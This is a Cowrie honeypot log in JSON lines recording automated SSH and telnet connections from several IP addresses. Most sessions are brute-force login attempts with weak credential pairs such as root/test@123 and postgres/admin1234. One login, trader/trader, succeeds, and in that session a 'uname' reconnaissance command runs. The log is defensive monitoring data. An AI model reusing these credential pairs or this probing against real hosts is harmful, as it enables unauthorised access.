{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:06.465952Z","src_ip":"172.237.20.62","session":"92d982ec3add","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:07.181078Z","src_ip":"172.237.20.62","session":"92d982ec3add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:08.359273Z","src_ip":"172.237.20.62","session":"92d982ec3add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":34254,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa2ea12bd7a4","protocol":"telnet","message":"New connection: 198.27.76.181:34254 (10.17.0.5:23) [session: fa2ea12bd7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:09.393252Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45006,"dst_ip":"159.203.135.109","dst_port":22,"session":"04fb749147a1","protocol":"ssh","message":"New connection: 172.237.20.62:45006 (159.203.135.109:22) [session: 04fb749147a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:17.389490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:17.393826Z","src_ip":"172.237.20.62","session":"04fb749147a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:17.556804Z","src_ip":"172.237.20.62","session":"04fb749147a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:18.046376Z","src_ip":"172.237.20.62","session":"04fb749147a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:19.213048Z","src_ip":"172.237.20.62","session":"04fb749147a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42136,"dst_ip":"159.203.135.109","dst_port":22,"session":"3df28f1bda25","protocol":"ssh","message":"New connection: 172.237.20.62:42136 (159.203.135.109:22) [session: 3df28f1bda25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:28.302777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:28.307802Z","src_ip":"172.237.20.62","session":"3df28f1bda25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:28.468082Z","src_ip":"172.237.20.62","session":"3df28f1bda25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:28.944861Z","src_ip":"172.237.20.62","session":"3df28f1bda25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:30.109875Z","src_ip":"172.237.20.62","session":"3df28f1bda25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.543870210647583,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:38.937006Z","src_ip":"198.27.76.181","session":"fa2ea12bd7a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34874,"dst_ip":"159.203.135.109","dst_port":22,"session":"663c0de2145b","protocol":"ssh","message":"New connection: 172.237.20.62:34874 (159.203.135.109:22) [session: 663c0de2145b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:39.233335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:39.237855Z","src_ip":"172.237.20.62","session":"663c0de2145b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:39.396510Z","src_ip":"172.237.20.62","session":"663c0de2145b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:39.930323Z","src_ip":"172.237.20.62","session":"663c0de2145b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:41.091511Z","src_ip":"172.237.20.62","session":"663c0de2145b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":34930,"dst_ip":"10.17.0.5","dst_port":23,"session":"818e2715f81a","protocol":"telnet","message":"New connection: 198.27.76.181:34930 (10.17.0.5:23) [session: 818e2715f81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:47.749142Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43080,"dst_ip":"159.203.135.109","dst_port":22,"session":"3114b18b0ed4","protocol":"ssh","message":"New connection: 172.237.20.62:43080 (159.203.135.109:22) [session: 3114b18b0ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:50.273416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:50.278327Z","src_ip":"172.237.20.62","session":"3114b18b0ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:50.440511Z","src_ip":"172.237.20.62","session":"3114b18b0ed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:50.919019Z","src_ip":"172.237.20.62","session":"3114b18b0ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:52.083636Z","src_ip":"172.237.20.62","session":"3114b18b0ed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45474,"dst_ip":"159.203.135.109","dst_port":22,"session":"965158a88024","protocol":"ssh","message":"New connection: 172.237.20.62:45474 (159.203.135.109:22) [session: 965158a88024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:01.158323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:01.164270Z","src_ip":"172.237.20.62","session":"965158a88024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:01.326466Z","src_ip":"172.237.20.62","session":"965158a88024","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:01.852617Z","src_ip":"172.237.20.62","session":"965158a88024","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:02.225595Z","src_ip":"172.237.20.62","session":"965158a88024","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:02.229632Z","src_ip":"172.237.20.62","session":"965158a88024","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:02.396416Z","src_ip":"172.237.20.62","session":"965158a88024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:02.404101Z","src_ip":"172.237.20.62","session":"965158a88024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38574,"dst_ip":"10.17.0.5","dst_port":22,"session":"d09159934a1c","protocol":"ssh","message":"New connection: 80.94.92.184:38574 (10.17.0.5:22) [session: d09159934a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:03.627445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:03.734311Z","src_ip":"80.94.92.184","session":"d09159934a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:03.856194Z","src_ip":"80.94.92.184","session":"d09159934a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:04.926557Z","src_ip":"80.94.92.184","session":"d09159934a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:06.143992Z","src_ip":"80.94.92.184","session":"d09159934a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57581,"dst_ip":"159.203.135.109","dst_port":22,"session":"c95df8284165","protocol":"ssh","message":"New connection: 89.144.211.139:57581 (159.203.135.109:22) [session: c95df8284165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:06.820273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:06.826756Z","src_ip":"89.144.211.139","session":"c95df8284165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:06.970609Z","src_ip":"89.144.211.139","session":"c95df8284165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin1234","message":"login attempt [postgres/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:07.551824Z","src_ip":"89.144.211.139","session":"c95df8284165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:50:08.690746Z","src_ip":"89.144.211.139","session":"c95df8284165","protocol":"ssh"}
